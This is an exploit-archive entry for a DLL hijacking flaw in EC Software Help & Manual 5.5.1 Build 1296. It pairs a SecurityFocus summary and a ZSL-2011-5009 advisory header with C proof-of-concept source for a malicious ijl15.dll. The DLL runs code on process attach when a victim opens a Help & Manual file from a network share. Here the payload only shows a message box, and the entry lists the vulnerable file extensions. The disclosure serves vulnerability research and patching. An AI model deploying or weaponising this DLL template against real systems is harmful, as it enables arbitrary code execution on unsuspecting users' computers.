EC Software Help & Manual 5.5.1 Build 1296 – ‘ijl15.dll’ DLL Loading Arbitrary Code Execution
// source: https://www.securityfocus.com/bid/47349/info EC Software Help & Manual is prone to an arbitrary-code-execution vulnerability. An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. Help & Manual 5.5.1 Build 1296 is vulnerable; other versions may also be affected. /* Help & Manual Professional Edition 5.5.1 (ijl15.dll) DLL Hijacking Exploit Vendor: EC Software GmbH Product web page: http://www.helpandmanual.com Affected version: 5.5.1 Build 1296 Summary: Help & Manual 5 is a single-source help authoring and content management system for both single and multi-author editing. Desc: Help & Manual suffers from a DLL hijacking vulnerability that enables the attacker to execute arbitrary code on the affected machine. The vulnerable extensions are hmxz, hmxp, hmskin, hmx, hm3, hpj, hlp and chm thru ijl15.dll Intel's library. Tested on: Microsoft Windows XP Professional SP3 EN Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Advisory ID: ZSL-2011-5009 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5009.php 06.04.2011 */ #include <windows.h> BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_mll(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_mll() { MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK); } |